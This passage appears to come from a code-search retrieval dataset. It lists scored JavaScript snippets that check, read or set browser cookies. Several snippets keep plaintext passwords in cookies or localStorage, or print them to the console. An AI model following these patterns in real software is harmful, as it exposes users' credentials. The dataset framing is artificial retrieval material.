"72e059f06488b2f86b6d6a0ca88001cf", "score": "0.70240635", "text": "function checkCookie() {\r\n\tvar user = getCookie(\"username\");\r\n\tif (user != \"\") {\r\n\t\t$('#info_container').html(\r\n\t\t\t\t'<i class=\"close icon\"></i>Willkommen zurück, ' + user + '.');\r\n\t\t// Fill the #whoami div with content\r\n\t\t$('#whoami').html('Sie sind angemeldet als ' + user);\r\n\t} else {\r\n\t\twindow\r\n\t\t\t\t.alert('Bitte loggen Sie sich ein, bevor Sie diese Seite aufrufen.');\r\n\t\twindow.location.href = '/login.html';\r\n\t}\r\n}", "title": "" }, { "docid": "51833a8bf4fb20d372dd24d357c296ef", "score": "0.70173746", "text": "function checkCookie() {\n\n // Get the cookie called \"visited\"\n var visited = getCookie(\"visited\");\n\n // If it exists, print the Cookie to the Console\n if (visited == \"true\") {\n console.log(document.cookie);\n }\n else {\n // If not, add the class 'is-visible' to my modal called '.mhc-intro-modal'\n // and create a the cookie \"visited=true\" expiring in 15 days.\n $('.mhc-intro-modal').addClass('is-visible');\n $('body').addClass('hide-overflow');\n setCookie(\"visited\", \"true\", 15);\n }\n}", "title": "" }, { "docid": "7deea77b64f900d2a773f24a06cf8a7b", "score": "0.68847644", "text": "function checkCookie()\n\t{\n\t\tvar username=getCookie(\"username\");\n\t\tif (username == \"\")\n\t\t{\n\t\t\twindow.location.assign(\"/#/login\");\n\t\t\t// redirectTo('/dashboard');\n\t\t}\n\t\telse \n\t\t{\n\t\t\tconsole.log('cookie found ', username);\n\t\t\t$('#current_user').text(username);\n\t\t\treturn username;\n\t\t}\n\t\t// else\n\t\t// {\n\t\t// \tusername = prompt(\"Please enter your name:\", \"\");\n\t\t// \tif (username != \"\" && username != null)\n\t\t// \t{\n\t\t// \t\tsetCookie(\"username\", username, 30);\n\t\t// \t}\n\t\t// }\n\t}", "title": "" }, { "docid": "a31bb5f1845afaf300ef0e151f05f30a", "score": "0.6842112", "text": "function checkCookie(cname) {\n\tvar username = getCookie(cname);\n\tif (username == \"\" || username == null) {\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "09922e9a070e6e219d2299b31886f4be", "score": "0.6810889", "text": "function hasCookie( cookieName, opts ) {\n if ( $.cookie( cookieName ) ) {\n return true;\n } else {\n $.cookie( cookieName, Uuid.generate(), opts );\n return false;\n }\n }", "title": "" }, { "docid": "874fc0a52e468b50940a471b01cde358", "score": "0.6799731", "text": "function noCookieFound()\n{\n\treturn document.cookie == \"\" || document.cookie == null;\n}", "title": "" }, { "docid": "2864a1ac82a4ed76214e74e61460933d", "score": "0.6792515", "text": "function checkCookie(){\n\t\t//get the username and password cookies\n\t\tvar cookieUser = CookieUtil.get(\"username\"),\n\t\t\tcookiePassword = CookieUtil.get(\"password\"),\n\t\t\tstoredUser = localStorage.getItem(cookieUser);\n\t\t//check local storage for the username data\n\t\tif (storedUser) {\n\t\t\tstoredUser = JSON.parse(storedUser);\n\t\t\tif (storedUser.username === cookieUser && storedUser.password === cookiePassword) {\n\t\t\t\t//as function\n\t\t\t\talert(\"Welcome \" + storedUser.realname);\n\t\t\t\tcreateNextQuestion(nextQuestion);\n\t\t\t\tbtnPrev.disabled = true;\n\t\t\t}\n\t\t} else {\n\t\t\t\n\t\t\tbtnWrapper.style.display = \"none\";\n\t\t\tcreateHomePage();\n\t\t}\n\t}", "title": "" }, { "docid": "4cc29883227f82e19410cefa40c27239", "score": "0.6701713", "text": "function chkcookies(){\n \t\t\tvar NameOfCookie=\"userID\";\n \t\t\tvar c = document.cookie.indexOf(NameOfCookie+\"=\"); \n \t\t\tif (c != -1){\n \t\t\t//alert(document.cookie);\n \t\t\treturn(true);\n \t\t\t}\n \t\t\telse{\n \t\t\t//alert(\"false\");\n \n \t\treturn (false);\n \t\t\t}\n\t\t}", "title": "" }, { "docid": "064c3e7125d4706cd574e28a9ca763aa", "score": "0.66919845", "text": "function check_cookie_exists(aDomain, aExists)\n{\n let cm = Cc[\"@mozilla.org/cookiemanager;1\"].getService(Ci.nsICookieManager2);\n let cookie = {\n host: aDomain,\n name: COOKIE_NAME,\n path: COOKIE_PATH\n }\n let checker = aExists ? do_check_true : do_check_false;\n checker(cm.cookieExists(cookie));\n}", "title": "" }, { "docid": "a92b8f57dad01ba50766db99b5e794cc", "score": "0.6683627", "text": "function checkCookies() {\n console.log(\"Checking cookies...\");\n if ((Cookies.get(\"pizza\") != undefined) && (Cookies.get(\"version\") == CURRENT_VERSION)) {\n //if cookies exist and are for the current version of the app then load them\n console.log(\"Updating cookies\");\n loadPizzaState();\n } else if ((Cookies.get(\"pizza\") != undefined) && (Cookies.get(\"version\") != CURRENT_VERSION)) {\n //if cookies exist but are NOT for the current version, then expire them\n Cookies.expire(\"pizza\");\n Cookies.expire(\"dough_balls\");\n Cookies.expire(\"size\");\n Cookies.expire(\"version\");\n };\n}", "title": "" }, { "docid": "c26f1b6634ec0f8c5a7e527092f5d29c", "score": "0.66680366", "text": "function checkCookie(userid) {\n var name = getCookie(userid);\n if (username != \"\") {\n alert(\"Welcome, \" = name);\n } else {\n name = prompt(\"There seems to be a problem, please enter your name.\", \"\");\n if (name != \"\" && name != null) {\n setCookie(name);\n }\n }\n}", "title": "" }, { "docid": "79669f824c9f84c203a25a46bbc49c47", "score": "0.6653019", "text": "function checkForLoggedInCookie () {\n\tif (document.cookie.length > 0) {\n\t\tvar cookieName = \"ccuid\";\n\t\tcookieStart = document.cookie.indexOf(cookieName + \"=\");\n\n\t\tif (cookieStart != -1) {\n\t\t\tcookieStart = cookieStart + cookieName.length + 1;\n\t\t\tcookieEnd = document.cookie.indexOf(\";\", cookieStart);\n\n\t\t\tif (cookieEnd == -1) {\n\t\t\t\tcookieEnd = document.cookie.length;\n\t\t\t}\n\n\t\t\tvar cookieValue = unescape(document.cookie.substring(cookieStart, cookieEnd));\n\t\t\tverifyLoggedInCookie(cookieValue);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f892e933459d528ccc0ddd1589b96d91", "score": "0.662554", "text": "function leerCookie(){\r\n\t\t\tvar nombre = prompt(\"Escribe el nombre de la cookie que quieres consultar: \");\r\n\t\t\t//Mostramos el resultado con getcookie:\r\n\t\t\talert(getCookie(nombre));\r\n\t\t\t//Sería lo mismo hacer: var resultado = getCookie(nombre); alert(resultado)\r\n\t\t\t//getcookie nos devuelve la cadena que va dentro del if o vacío.\r\n\t\t}", "title": "" }, { "docid": "87ea02d205d8927e15400c23c84e717b", "score": "0.66242415", "text": "function checkCookie(url, callback){\n\t $.ajax({\n\t type: 'HEAD',\n\t url: url,\n\t success: function(){\n\t \tplaceholder.replaceWith('Waiting…');\n\t },\n\t error: function() {\n\t \tmonster.remove('wifiKeyboardURL');\n\t }\n\t });\n\t}", "title": "" }, { "docid": "4e3255caf08c22a059ba9b2fbffa5c8a", "score": "0.6588054", "text": "function checkCookie(){\n if(document.cookie.indexOf(\"3550timestamp\") == -1){\n login();\n }\n else{\n window.open('sudoku.html', 'Play Sudoku!')\n }\n}", "title": "" }, { "docid": "2d11337b9ecce36fa03d04b46ea42cb3", "score": "0.6546302", "text": "function checkCookie() {\n\tvar user=getCookie(\"userid\");\n\tvar remembered = getCookie(\"remembered\");\n\tif (user == \"\") {\n\t\twindow.location = \"index.html\";\n\t}\n}", "title": "" }, { "docid": "6b0fc9b29567ed7fb3dee538db2999e8", "score": "0.6539496", "text": "function issetCookie(opts) {\n //can we use the cookie plugin\n if (!useCookies(opts)) { //no, quit here\n return false;\n }\n\n //is the cookie set\n if ($.cookie(opts.cookieName) == null) { //no, quit here\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "7e5d8083bdcafaf3e51f24cb7e2e481b", "score": "0.6532833", "text": "checkCookies() {\r\n if (document.cookies !== '') {\r\n const allCookies = document.cookie.split(';');\r\n const keysArray = [];\r\n let flag = false; // Initiating with statement that cookie wasn't created\r\n\r\n allCookies.forEach(function(val) {\r\n keysArray.push(val.trim().split('=')[0]);\r\n });\r\n\r\n keysArray.forEach((val) => {\r\n if (val === this.options.notificationId) {\r\n flag = true; // Cookie is already created\r\n }\r\n });\r\n\r\n if (flag === false) {\r\n this.createNotification();\r\n }\r\n }\r\n }", "title": "" }, { "docid": "330484cf70cbc1afb7ef5194b9a564f0", "score": "0.6525715", "text": "function checkCookies() {\r\n\tvar text = \"\";\r\n\t//\"navigator\" is a keyword\r\n\tif(navigator.cookieEnabled) {\r\n\t\ttext = \"Cookies are enabled!\";\r\n\t} else {\r\n\t\ttext = \"Cookies are not enabled!\";\r\n\t}\r\n\t//Once the logic is complete we will manipulate the <p> tag\r\n\tdocument.getElementById('cookiePara').innerHTML = text;\r\n}", "title": "" }, { "docid": "5df2bb60aab3e00bbd8b8c789741530d", "score": "0.6520616", "text": "function cookieEx(cookieName) {\n //var cookieExist = /^(.*;)?\\s*cookie1\\s*=/.test(document.cookie);\n var cookieExist = document.cookie.indexOf(cookieName + '=')!== -1;\n return cookieExist;\n }", "title": "" }, { "docid": "e5c88085921019fe562db167dd798bf7", "score": "0.6519928", "text": "function check_cookie(q_id, exdays){\n // Default expire time is 30 days later.\n if (!exdays){\n exdays = 30;\n }\n // Check user has our cookie.\n if (!document.cookie.match('(^|;)\\\\s*QuesCheetah'+q_id+'\\\\s*=\\\\s*([^;]+)')){\n // Set cookie for new user.\n var d = new Date();\n d.setTime(d.getTime() + (exdays*24*60*60*1000));\n var expires = \"expires=\"+d.toUTCString();\n document.cookie = \"QuesCheetah\"+q_id+\"=true; \"+ expires;\n\n return false\n }else{\n // Show only results for already visited user.\n return true\n }\n }", "title": "" }, { "docid": "7c5f47fd9a7396fa3f75adeac9dd2816", "score": "0.6452844", "text": "function hasCookie(cookieName){\n var allCookies2D = allCookiesList();\n for(i = 0; i < allCookies2D.length; i++){\n if(allCookies2D[i]['cookieKey'] == cookieName){\n return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "6272123bf05c170c26e31b223465a82a", "score": "0.64515185", "text": "verifyCookies() {\n let cookieBanner = safeAction.safeIsVisible(homePageLoc.COOKIE_BANNER, 'Cookie Banner on home Page');\n safeAction.safeAsserts('true', cookieBanner, \"Cookie banner is not displayed\");\n safeAction.safeIsVisible(homePageLoc.COOKIE_CONSENT_BUTTON, \"Consent To Cookies Button on home page\");\n safeAction.waitForClickable(homePageLoc.COOKIE_CONSENT_BUTTON, waitTime.MEDIUMWAIT, \"Consent to Cookies Button On home Page\");\n safeAction.waitForClickable(homePageLoc.COOKIE_PREFERENCE_BUTTON, waitTime.MEDIUMWAIT, \"Cookie Preference Button on home page\");\n safeAction.waitForVisible(homePageLoc.COOKIE_POLICY_LINK, waitTime.SMALLWAIT, \"Read our cookie policy link on home page\");\n }", "title": "" }, { "docid": "afe3e11ceb5d7e482c421d226cf3ac66", "score": "0.6437674", "text": "function withholdMessages_cookieCheck() {\n\tif( ! getCookie('gat_withholdMsg_0_name') ) {\n\t\twithholdMessages_save(withholdMessage);\n\t} else {\n\t\twithholdMessages_load();\n\t}\n}", "title": "" }, { "docid": "b9c8de13016eb633689ad861ed0b6e62", "score": "0.64273715", "text": "static showCookieWarning() {\n return !getLocal('cookie-warning', false);\n }", "title": "" }, { "docid": "f51e8590ae1e36fda7d9855fe18e5ecf", "score": "0.6380347", "text": "function isCookie(cname) {\n\t\treturn !!getCookie(cname);\n\t}", "title": "" }, { "docid": "d3932595b6394a06ffcb09242a9edb43", "score": "0.6356035", "text": "function checkCookie(){\n if(getCookie('private') == '-1' ){\n return; \n } \n else if(getCookie('private') < 3 && (getCookie('private') != \"\")){\n var temp = parseInt(getCookie('private'));\n temp++;\n forgetCookie('private')\n setCookie('private', temp, 31);\n }\n else if((getCookie('private') >= 3)){\n if(getCookie('hasSeen') == ''){\n setCookie('hasSeen', 'july', 365); \n }\n return; \n } \n else{\n forgetCookie('private');\n setCookie('private', 1, 31);\n } \n }", "title": "" }, { "docid": "4ad7202368a8367b1d032474ff797261", "score": "0.63518703", "text": "function cookieEnableCheck(pLayerName) {\r\n\tvar lCookieStatus = (navigator.cookieEnabled) ? true : false;\r\n\tvar lLayerContent = $('#cookie-warning-layer').html();\r\n\t\t\t\r\n\tif (typeof navigator.cookieEnabled == \"undefined\" && !cookieEnabled) { \r\n\t\tdocument.cookie=\"testcookie\";\r\n\t\tlCookieStatus = (document.cookie.indexOf(\"testcookie\") != -1) ? true : false;\r\n\t}\r\n\r\n\tif (lCookieStatus == false) {\r\n\t\tecondaOnClick(\"Startseite/Cookieerror\",emospro.url);\r\n\t\thei.cl.widgets.dialog.layer(lLayerContent,pLayerName);\t\r\n\t\t\r\n\t}\r\n}", "title": "" }, { "docid": "05b0ea46e2caf36ba905495a76410600", "score": "0.63485247", "text": "function checkCookieSet(cookie){\n var acceptedCookie = store.get(cookie);\n if(typeof acceptedCookie == \"undefined\"){\n //set a default\n acceptedCookie = false;\n }\n return acceptedCookie;\n}", "title": "" }, { "docid": "d00a45129c39c6d593dd20887454f184", "score": "0.63428104", "text": "function alertCookie() {\n \talert(document.cookie);\n}", "title": "" }, { "docid": "c5dd4ffc5b6a8cbcc333cc527b6276ea", "score": "0.6311069", "text": "async function checkCookie() {\n setTimeout(keepGoing, 1000);\n function keepGoing() {\n var username = getCookie(\"username\");\n var pin = getCookie(\"pin\");\n var started = getCookie(\"start\") == \"true\";\n var spectator = getCookie(\"spectator\") == \"true\";\n if (username != \"\" && pin != \"\" && started && !spectator) {\n connection.send(JSON.stringify({Code: \"Rejoin Game\", Pin: pin, Username: username}));\n return true;\n } else if ( pin != \"\" && spectator) {\n connection.send(JSON.stringify({Code: \"Spectate Game\", Pin: pin}));\n } else {\n return false;\n }\n }\n}", "title": "" }, { "docid": "b765f2e4fdb039272b38f411cbf410ea", "score": "0.6300265", "text": "function displayCookies() {\n\tvar follow = getCookie(\"follow\");\n\tvar access = getCookie(\"access\");\n\tvar passwd = getCookie(\"passwd\");\n\tvar markerfilter = getCookie(\"marker-filter\");\n\tconsole.log(\"follow-cookie: '\" + follow + \"'\");\n\tconsole.log(\"access-cookie: '\" + access + \"'\");\n\tconsole.log(\"passwd-cookie: '\" + passwd + \"'\");\n\tconsole.log(\"marker-filter: '\" + markerfilter + \"'\");\n}", "title": "" }, { "docid": "f2da1c8a0b0eaa43ab1aa30ffcbd06f5", "score": "0.62960416", "text": "function checkCookie() \n{\n var user = getCookie(\"username\");\n\n if (user != \"\") \n {\n alert(\"Bienvenido de nuevo \" + user);\n window.location.replace(\"./agenda.html\");\n } \n else \n {\n user = document.getElementById(\"username\").value;\n if (user != \"\" && user != null) \n {\n setCookie(\"username\", user, 30);\n window.location.replace(\"./agenda.html\");\n }\n }\n}", "title": "" }, { "docid": "0f8a82e1d1ecbb4515f4c370abbfb7ad", "score": "0.6295204", "text": "function checkCookie() {\n\n var user = getCookie(\"username\");\n if (user == '') {\n var user = getCookie('normal');\n }\n\n\n if (user != \"\" && checkCompID(user)) {\n// $(\"writer\").innerHTML = user.toLowerCase() + \"::\";\n return user.toLowerCase();\n\n }\n\n else if (!checkCompID(user) && user === \"\"){\n user = prompt(\"Enter compID to access this resource\",\"mak2vr\");\n// user = $(\"setter\").innerHTML;\n if (user === null){\n window.history.back();\n }\n user = user.toLowerCase();\n\n if (!checkCompID(user)) {\n window.history.back();\n setCookie(\"username\",\"\",1);\n }\n\n else {\n setCookie(\"username\",user,40);\n document.location.reload(true);\n }\n }\n\n else {\n setCookie(\"username\",\"\",1);\n// window.history.back();\n alert('no cookie');\n }\n\n\n}", "title": "" }, { "docid": "a86466533a535f23dd3e893f7f2e2354", "score": "0.6287833", "text": "function cookiePresence(char) {\n\t\tif (char === '-') return;\n\t\tvar map = {\n\t\t\t'N': 'the client provided NO cookie. This is usually the case for new visitors, so counting the number of occurrences of this flag in the logs generally indicate a valid trend for the site frequentation.',\n\t\t\t'I': 'the client provided an INVALID cookie matching no known server. This might be caused by a recent configuration change, mixed cookies between HTTP/HTTPS sites, persistence conditionally ignored, or an attack.',\n\t\t\t'D': 'the client provided a cookie designating a server which was DOWN, so either option persist was used and the client was sent to this server, or it was not set and the client was redispatched to another server.',\n\t\t\t'V': 'the client provided a valid cookie, and was sent to the associated server.',\n\t\t}\n\t\treturn map[char];\n\t}", "title": "" }, { "docid": "146b8ebda21e3ccf7bcf01d69f371f87", "score": "0.62558234", "text": "function checkCookie(cname, valuename) {\n var value = getCookie(cname);\n if (value == \"\") {\n value = prompt(\"Please set the value for \"+valuename+\":\", \"\");\n if (value != \"\" && value != null) {\n setCookie(cname, value, 365);\n }\n }\n \n return value;\n}", "title": "" }, { "docid": "23d45cb2767f791cce9f97c83d1a6b0e", "score": "0.6219365", "text": "function checkCookie(){\n\t// remove jwt\n\tcreateCookie(\"jwt\", \"\", 1);\n\tvar usrName = accessCookie(\"username\");\n\tvar usrPssword = accessCookie(\"usrpassword\");\n\n\tif (usrName!=\"\"){\n\t\tdocument.getElementById('inputUsername').value = usrName;\n\t\tdocument.getElementById('inputPassword').value = usrPssword;\n\t}\n}", "title": "" }, { "docid": "cad799d60b17e59dfbb0fbbed53d8bc4", "score": "0.6200904", "text": "function funCookies() {\n var verCookie=document.cookie;\n var buscar=verCookie.search(\"nombre\");//si ya existe la cookie llamada nombre\n if (buscar !=-1) {\n alert (\"hola de nuevo\");\n } else {//si no existe la cookie llamada nombre\n var nombre=\"nombre\";\n var web=\"Gourmet au Catering\";\n var caduca=\"expires\";\n var fecha=new Date();\n var fechaUTC=fecha.toDateString();\n var horaUTC=\"14:00:00\";\n var cookie=nombre +\"=\"+ web +\";\"+ caduca +\"=\" +fechaUTC+\" \"+horaUTC;\n //crear cookie\n var crearCookie=nuevaCookie;\n nuevaCookie=document.cookie;\n }\n}", "title": "" }, { "docid": "9c6dbc078832e232791a609a106173e0", "score": "0.62002337", "text": "function isCookieSet(cname)\n{\n\tif ( getCookie(cname) == \"\" ) return false;\n\telse return true;\n}", "title": "" }, { "docid": "89fe459e9c193df206fd37f488473a9a", "score": "0.6200088", "text": "function checkCookie() {\n let username = getCookie(\"username\");\n if (username == \"\") {\n username = prompt(\"Please enter your full name:\", \"\");\n if (username != \"\" && username != null) {\n if (usernames[username] == username){\n username+='_';\n }\n setCookie(\"username\", username, 365);\n }\n usernames.push({username});\n } \n}", "title": "" }, { "docid": "2bd34eee4515b940f985c06f907d25ed", "score": "0.61929595", "text": "function checkCookies() {\n\tvar name = checkEmployeeNameCookie();\n\tvar wage = checkHourlyWageCookie();\n\tvar employeeForm = document.forms['employeeform'];\n\tvar employeeName = employeeForm.elements['employeename'];\n\tvar hourlyWage = employeeForm.elements['hourlywage'];\n\n\tif (name != \"\") {\n\t\tif (wage != \"\") {\n\t\t\twindow.alert(\"Welcome back, \" + name + \". We have your hourly wage as $\" + wage + \"/hour.\");\n\t\t\temployeeName.value = name;\n\t\t\thourlyWage.value = wage;\n\t\t} else {\n\t\t\twindow.alert(\"Welcome back, \" + name + \".\");\n\t\t\temployeeName.value = name;\n\t\t}\n\t} else {\n\t\temployeeName.value = \"\";\n\t\thourlyWage.value = \"\";\n\t}\n}", "title": "" }, { "docid": "5d8fb39fb6453e9490abae95833542e0", "score": "0.6163695", "text": "function checkLogin(){\n // if($.cookie(USER_NAME) != undefined){\n // return true;\n // }\n // else\n // return false;\n return true;\n}", "title": "" }, { "docid": "bea9a48925ef8fc53bd7af12240b45cb", "score": "0.61514205", "text": "function check_user_logged(){\n\tvar user = getCookie(\"firstname\");\n\tvar header = document.getElementById(\"user_header\").append(user + \",\");\n\tconsole.log(user + \" is in the cookiesss\");\n\tif(user !== \"\"){\n\t\treturn 1;\n\t}\n\telse{\n\t\treturn -1;\n\t}\n}", "title": "" }, { "docid": "98aa7a4e9388bdf1c2e9422154f83e49", "score": "0.61331457", "text": "function handleNoCookies(){\r\n\t\talert('cookies blocked, yo');\r\n\t}", "title": "" }, { "docid": "b5e5fd87ec00ace80b15da046db17961", "score": "0.6098109", "text": "function checkIfAcceptsCookies(bannerId){\n\tcheckIfAcceptsCookiesForFancyBox(bannerId);\n}", "title": "" }, { "docid": "af0b9d76bcf20421d6d5860671299ce4", "score": "0.6085208", "text": "function GetAllCookies() {\n \n if (document.cookie === \"\") {\n document.getElementById(\"cookies\").innerHTML = (\"<p style='color: #ff0000;padding-bottom: 15px;'>\" + \"There are no cookies on this page!\" + \"</p>\");\n \n } else {\n document.getElementById(\"cookies\").innerHTML = (\"<p style='color: #000;'>\" + \"These are the cookies on this page:\" + \"</p>\" + \"<p class='utm-values'>\" + document.cookie + \"</p>\");\n }\n }", "title": "" }, { "docid": "d6711958e8360a8ef711a121ff45547e", "score": "0.6078636", "text": "function checkLoginStatus() {\r\n let cookie = getCookie('auth');\r\n if (cookie != null) {\r\n loadLoginStatus(onCheckLoginStatusSuccess);\r\n } else {\r\n alertMessage('Please enter username and password.');\r\n switchView('login');\r\n }\r\n}", "title": "" }, { "docid": "12301af0cb1ad505b7e80fde2c49c6a5", "score": "0.60703653", "text": "function init() {\n checkCookie();\n}", "title": "" }, { "docid": "30549d5237b40a858c8036caa9136495", "score": "0.6067617", "text": "function check4Id()\r\n{\r\nif (!haveId)\r\n{\r\n if (cookieID.get() == undefined || ignoreCookie) {\r\n\r\n console.log(\"cookie was undefined, set one\");\r\n g_client.sendCmd('needID');\r\n\r\n }\r\n else {\r\n\r\n console.log(\"cookie was defined, send message to unity\");\r\n g_client.sendCmd('checkID', { id: cookieID.get() });\r\n\r\n }\r\n}\r\n}", "title": "" }, { "docid": "aa2a7dec5033f4753424a4b8241fb124", "score": "0.60652864", "text": "function has(name) {\n\t\tif (!name) {\n\t\t\treturn false;\n\t\t}\n\n\t\tif (!cookies[name]) {\n\t\t\treadCookie(name);\n\t\t}\n\t\t/*\n\t\tif (cookie!=null && cookie!=\"\"){\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t\t*/\n\t\treturn !!cookies[name];\n\t}", "title": "" }, { "docid": "23232f847a16dafe0e1a190a90c11a3b", "score": "0.6057543", "text": "function showCookieDebug(cookie, host)\n{\n console.log(\"cookie named: \" + cookie.name + \" path \" + cookie.path +\n \" secure: \" + cookie.isSecure + \" host \" + cookie.host +\n \" (host is \" + host + \")\");\n}", "title": "" }, { "docid": "24b0f4a96dc40ecd8c1882b57c65b673", "score": "0.6049699", "text": "function checkLogin() {\r\n\t/* Get the email and password written by the user */\r\n\tvar inputEmail = document.forms[\"loginForm\"][\"email\"].value;\r\n\tvar inputpsw = document.forms[\"loginForm\"][\"psw\"].value;\r\n\t/* Look for the cookie with the same email and get the value of its psw field */\r\n\tvar psw = getValueFromCookie(inputEmail,\"psw\");\r\n\t/* If a password is found and it equals the one input, the cookie exists and the information is correct */\r\n\tif (psw == inputpsw) {\r\n\t\tvar name = getValueFromCookie(inputEmail,\"name\");\r\n\t\twindow.alert(\"Welcome \"+ name);\r\n\t\treturn true;\r\n\t} else { /* If the email isn't in a cookie or the psw is incorrect the form isn't validated and an alert is displayed */\r\n\t\twindow.alert(\"The email or password aren't correct\");\r\n\t\treturn false;\r\n\t}\r\n}", "title": "" }, { "docid": "87a101062844dc6a97c263066ac6aa32", "score": "0.6040661", "text": "function getCookie() {\n\tconst decodedCookie = decodeURIComponent(document.cookie);\n const ca = decodedCookie.split(';');\n for(let i = 0; i <ca.length; i++) {\n const c = ca[i];\n while (c.charAt(0) == ' ') {\n c = c.substring(1);\n }\n if (c.indexOf('her=') == 0) {\n \tconsole.log('cookie \\'her\\' exist')\n return JSON.parse(c.substring('her='.length, c.length));\n }\n }\n // if cookie doesn't exist yet, set cookie with Object cookie {} & return\n setCookie(cookie, 7)\n return cookie\n}", "title": "" }, { "docid": "622c5b6d4683b99be837a427458eef23", "score": "0.6008829", "text": "function checkConn(){\r\n\r\n// If the cookie whose name is \"expiration\" does not exist, create a date corresponding to 0 ms\r\n// else get the content of the cookie \"expiration\"\r\n if(getCookie(\"expiration\")==\"\"){\r\n var d = new Date(0);\r\n }\r\n else{\r\n var d= new Date(parseInt(getCookie(\"expiration\")));\r\n }\r\n\r\n// If the cookie \"key\" and \"expiration\" exists and the above date is prior to now, return an empty string\r\n if(getCookie(\"key\")!=\"\" && getCookie(\"expiration\")!=\"\" && (d.getMilliseconds()<Date.now())){\r\n return \"\";\r\n }\r\n\r\n// The cookies needed for authentification are not available, return to the log in page\r\n else{\r\n if(new RegExp(\"/BBData/connexionV2.html\").test(document.location.pathname)){\r\n return \"\";\r\n }\r\n document.location=\"connexionV2.html\";\r\n }\r\n}", "title": "" }, { "docid": "de8586a6beba2b26c6c8e71532b0264d", "score": "0.6005156", "text": "function hasDocumentCookie() {\n return (typeof document === 'undefined' ? 'undefined' : _typeof(document)) === 'object' && typeof document.cookie === 'string';\n}", "title": "" }, { "docid": "fb06d1963a4770f61d55648a15ac7a24", "score": "0.6004257", "text": "function checkEmployeeNameCookie() {\n\tvar employee = getCookie(\"employeeName\");\n\treturn employee;\n}", "title": "" }, { "docid": "620b459b46e91fbdc5d9c132565f9513", "score": "0.6002185", "text": "checkCookies() {\n const cartCookie = cookies.get('cart');\n const userCookie = cookies.get('user');\n // if there is a cart cookie\n if (cartCookie) {\n // get the cart from BigC and add items in cart back to line items\n self.cart.getBigCcart(cartCookie.id);\n // self.cart.getCart();\n }\n if (userCookie) {\n self.user.id = parseInt(userCookie.id, 10);\n self.user.token = userCookie.token;\n self.user.loggedIn = true;\n }\n }", "title": "" }, { "docid": "06b7079cc699df7be8a7533452cbaed8", "score": "0.598664", "text": "function MM_FlashDetectedSelf()\r\n{\r\n return (document.cookie.indexOf(\"MM_FlashDetectedSelf\") != -1);\r\n}", "title": "" }, { "docid": "696b167d20a71181a3d3f580038ef5f3", "score": "0.59835654", "text": "function launchpopup() {\r\nif ( browserAcceptsCookies() && isFlash ) \r\n checkCount(); }", "title": "" }, { "docid": "2e16085a1654ac85ceb0dbb2419c8b07", "score": "0.59822184", "text": "function userHasConsented() {\n return typeof Cookies.get(\"cookieConsent\") !== \"undefined\";\n}", "title": "" }, { "docid": "64b644afe5bfda9173b80fd0a2f028f1", "score": "0.5970237", "text": "function checkCookie(cookieId, obj){\r\n\t\t\tvar cookieVal = $.cookie(cookieId);\r\n\t\t\tif(cookieVal != null){\r\n\t\t\t\t// create array from cookie string\r\n\t\t\t\tvar activeArray = cookieVal.split(',');\r\n\t\t\t\t$.each(activeArray, function(index,value){\r\n\t\t\t\t\tvar $cookieLi = $('li:eq('+value+')',obj);\r\n\t\t\t\t\t$('> a',$cookieLi).addClass(defaults.classActive);\r\n\t\t\t\t});\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "d32b439975c3d380f269e5c53ee77a18", "score": "0.5957892", "text": "function checkCookie(cookieId, obj){\r\n\t\t\tvar cookieVal = $.cookie(cookieId);\r\n\t\t\tif(cookieVal != null){\r\n\t\t\t\t// create array from cookie string\r\n\t\t\t\tvar activeArray = cookieVal.split(',');\r\n\t\t\t\t$.each(activeArray, function(index,value){\r\n\t\t\t\t\t// mewsoft. fix firefox root menu not shown\r\n\t\t\t\t\tvalue = parseInt(value) + 0;\r\n\t\t\t\t\tvar $cookieLi = $('li:eq('+value+')',obj);\r\n\t\t\t\t\t$('> a',$cookieLi).addClass(defaults.classActive);\r\n\t\t\t\t});\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "7e6b7a04c84b1de8ef81c582be44f658", "score": "0.5956975", "text": "function getCookie(cookieInfo = { domain: \"\", name: \"\"}) {\n\n if(cookieInfo.domain === \"\" && cookieInfo.name === \"\") return;\n\n var p = new Promise((resolve, reject) => {\n // Gets Cookies\n if(getBrowser() === \"chrome\"){\n chrome.cookies.getAll(cookieInfo, function(res) {\n // If cookie exists pass value into exists callback\n if(res.length > 0 && typeof res[0].value !== 'undefined'){\n var catFromCookie = JSON.stringify([res[0].value]);\n resolve(catFromCookie);\n // if(typeof exists === \"function\") exists(catFromCookie);\n }\n // If it doesn't call absent() callback\n else {\n resolve(\"\");\n // if(typeof absent === \"function\") absent();\n }\n });\n }\n // Requires to be on same domain\n else {\n var name = cookieInfo.name + \"=\";\n var ca = document.cookie.split(';');\n var val;\n for(var i = 0; i < ca.length; i++) {\n var c = ca[i];\n while (c.charAt(0) == ' ') {\n c = c.substring(1);\n }\n if (c.indexOf(name) == 0) {\n val = c.substring(name.length, c.length);\n resolve(val);\n }\n }\n val = \"\";\n resolve(val);\n }\n });\n\n return p;\n\n}", "title": "" }, { "docid": "83602ed04bd92531ccb712d282b3f810", "score": "0.594085", "text": "function MM_FlashUserDemurred()\r\n{\r\n return (document.cookie.indexOf(\"MM_FlashUserDemurred\") != -1);\r\n}", "title": "" }, { "docid": "b3e4407d5cd9c2018e19bef4fd9de92d", "score": "0.58841175", "text": "function cookiePollTest() {\n var cookieValue = getLoginCookie();\n\n if (cookieValue !== lastCookieValue) {\n endCookiePoll();\n $rootScope.$emit('sp.app.restart', 'The XsrfToken cookie is missing, this indicates the user has logged off in another session.');\n } \n }", "title": "" }, { "docid": "c59c8312e5da38e833da6582c97db0ca", "score": "0.58750653", "text": "function _cookies (){\n\ttry {\n\t\t//$('#_hb_drilldown_pad').html ('cookies');\n\t}catch (err){\n\t\t//alert ( '_cookies\\n\\n'+err);\n\t}\n}", "title": "" }, { "docid": "c0fff44e81cf88808796bfa75dc2a07c", "score": "0.58649737", "text": "function e() {\n\t\tvar e = navigator.cookieEnabled ? !0 : !1;\n\t\treturn \"undefined\" != typeof navigator.cookieEnabled || e || (document.cookie = \"testcookie\", e = -1 != document.cookie.indexOf(\"testcookie\") ? !0 : !1), e\n\t}", "title": "" }, { "docid": "52afabe20a190c38107e81243d439c9e", "score": "0.58521307", "text": "function verifyLoggedInCookie 